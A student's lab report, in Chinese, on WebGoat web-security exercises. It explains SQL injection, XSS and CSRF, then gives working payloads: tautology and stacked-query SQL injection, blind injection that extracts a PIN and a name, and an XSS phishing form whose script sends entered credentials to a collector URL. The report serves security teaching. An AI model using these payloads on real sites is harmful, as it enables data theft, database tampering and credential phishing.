20145205武钰《网络对抗》web安全基础实践
实验后问题回答
-
(1)SQL注入攻击原理,如何防御
-
攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的
-
防御手段:利用输入规则限制进行防御,不允许特殊字符输入
-
(2)XSS攻击的原理,如何防御
-
攻击原理:跨站脚本攻击,允许恶意用户将恶意Script代码注入到网页上,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,从而被攻击,其他用户在观看网页时就会受到影响。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
-
防御手段:过滤特征字符,限制用户输入,拒绝网页的可执行代码输入。
(3)CSRF攻击原理,如何防御
- 攻击原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御手段:通过referer、token或者验证码来检测用户提交在form中包含秘密信息、用户指定的代号作为cookie之外的验证、定期清理保存的cookie
实验过程
- 首先开启webgoat,在kali的终端中输入
java -jar webgoat-container-7.0.1-war-exec.jar
,期间需要等待一段时间,等到看到消息显示服务在8080端口开启后,最小化终端开始实验。 - 还有就是对于代理服务器的使用,在每一个题的开始实践时,要先判断这个题是直接在输入框中注入,还是要截获数据包在代理服务器上注入,对于返回信息中有明显的SQL语句构成的,我们选择直接在输入框中注入,而对于输入进行过滤和限制的,我们选择在代理服务器上抓取数据包,然后再修改注入。
String SQL Injection
- 这个比较简单,首先看题目我们可知是要考察我们的SQL基本注入,首先点击一下正常网页上的按钮,发现直接显示SQL语句,我们可知应该可以直接在框中输入注入语句,输入最为基本的一个永真式,即可完成注入。
- 输入
'or 1 = 1'
,即可显示全部的内容。
step 1 String SQL Injection
- 这里因为是下拉框式的用户名输入,但是密码是用户输入,所以在密码上构造永真式来解决问题,在捕获数据包后,找到密码字段,依旧构造之前相同永真式即可。
Stage 3:Numeric SQL Injection
- 首先看题,这里是要求我们使用一个账户名来查看另外一个账户的信息,这里我们要思考一下,如何通过一个人的用户名去获得另外一个人的信息。我先是想到了因为每个人的字段都有特定的编号,如果先使用一个人的用户名,然后在代理这里修改掉,再发送给服务器是否可行呢?
- 在代理这里修改了用户名字段,
101 or 1=1
但是结果却是失败了,还是显示的第一个人的LARRY的工资条,这里觉得让我们选择LARRY就是出题人给我们的下的套,设置显示第一个字段大小的表单,这样即使我们修改了用户名,但是还是只能看到位于第一个的LARRY,所以我们这里的思路需要修改一下,把老板的顺序提到最前,因为是老板,所以工资应该是最高的,这里使用101 or 1=1 order by salary desc
来将老板的提到最前,显示成功。
String SQL Injection
- 这里发现有我们可以输入的对话框,要求显示信息,那么我们就使用基本的永真式先尝试一下,然后就发现结果出来,原来这个测试的顺序和难度并没有什么关系。
Database Backdoors
- 看题目我们可以要让我们对于数据库进行注入修改信息,这个上次实践中的多条语句注入考点类似,所以构建注入语句。
- 输入
101; update employee set salary=10000
,即可发现数据库中员工工资数据被修改。
Blind Numeric SQL Injection
- 由题目得知,盲数字注入,就是说在不知道信息情况下,使用一些逻辑判断方式进行注入。
- 我们首先尝试默认的101,发现显示Account number is valid,说明这个是真值,说明我们可以进行范围的判断,就是说我们在拥有一个真值后,使用这个进行其他真值的一步步筛选,其实这个题就是让我们去找到一个也是之前设定好的值,首先要做的是确定范围。
- 输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
得到是真,找到了下限。 - 输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
这次不符,之后要做的就是使用二分法去找到2364。
Blind String SQL Injection
- 这里我们盲猜的内容由数字变成了字符串,其实题目给了我们思路,就是英文对照的ASCII码,所以我们在写比较语句时可以直接和字母比较,之前我们使用了二分法去找数字,这里我们可以去找一个一个的字母,最后把它拼接成一个字符串,因为题中还有一个消息就是,
cc_number of 4321432143214321
这里表明字符串是四个字母构成的,而且下文还提到了是一个名字,让我们注意大写和小写,这里说到小写是吧,其实就是告诉我们第一个字母是大写的,后面是小写的。然后去查了如何比较字符串中的一个字符,得到了下面的输入语句。 - 输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );
这里的1,1
前面的1是表示字符串的第一位,因为第一位是大写,所以来判断,同理来去找其余的三位小写字母。最后找到了那个人叫Jill
。
Numeric SQL Injection
- 这个是课上的例子,思路就是在代理处找到用户名字段,然后修改一下,加上一个永真式,即可输出全部的四个城市的天气情况。
Phishing with XSS
- 这里让我们写一个钓鱼网站,去获取登录人的用户名和密码。直接将写好的钓鱼网页代码输入到文本框后,即可运行。
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Hold on! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
Reflected XSS Attacks
- 从题得知,这是一个反射型的XSS攻击,类同于第一个,直接构造一段脚本即可发起攻击
- 输入:
<script>alert("so hot");</script>
即可成功攻击 - 注意一点,因为这是直接写入了网页的代码中,所以你会发现如果多次尝试,就会有多次内容弹出。
实验感想和体会
- 嗨呀,最后实验了是吧,哈哈哈哈哈哈哈哈哈。终于不用写博客了。
- 虽然这次实验开始做的时候挺难的,开始练题目都看不懂,还好有渣渣的但是帮了大忙的百度机翻,做到最后,其实发现本次的实践难度还可以吧,主要是忘了太多的网页开发编程和SQL语句时硬伤,还得网上搜,有时候一搜就搜到了同学们的博客了,但是其实本门课程还挺有意思的,在这次实践里最能体现的就是看老板工资那次,还得想到老板肯定是挣得最多的,感觉很贴近现实吧,学起来没那么空乏就感觉好理解一些。